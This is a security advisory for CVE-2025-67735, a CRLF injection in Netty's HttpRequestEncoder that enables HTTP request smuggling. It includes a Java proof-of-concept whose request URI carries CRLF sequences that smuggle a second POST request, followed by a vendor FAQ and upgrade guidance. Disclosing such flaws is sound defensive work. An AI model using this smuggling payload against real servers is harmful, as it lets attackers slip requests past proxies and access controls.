CVE-2025-67735

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

CVE-2025-67735 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.8.Final, 4.1.129.Final); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-67735? CVE-2025-67735 is a medium-severity security vulnerability in io.netty:netty-codec-http (maven), affecting versions >= 4.2.0.Alpha1, < 4.2.8.Final. It is fixed in 4.2.8.Final, 4.1.129.Final.
2. How severe is CVE-2025-67735? CVE-2025-67735 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of io.netty:netty-codec-http are affected by CVE-2025-67735? io.netty:netty-codec-http (maven) versions >= 4.2.0.Alpha1, < 4.2.8.Final is affected.
4. Is there a fix for CVE-2025-67735? Yes. CVE-2025-67735 is fixed in 4.2.8.Final, 4.1.129.Final. Upgrade to this version or later.
5. Is CVE-2025-67735 exploitable, and should I be worried? Whether CVE-2025-67735 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-67735 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-67735?
   • Upgrade io.netty:netty-codec-http to 4.2.8.Final or later
   • Upgrade io.netty:netty-codec-http to 4.1.129.Final or later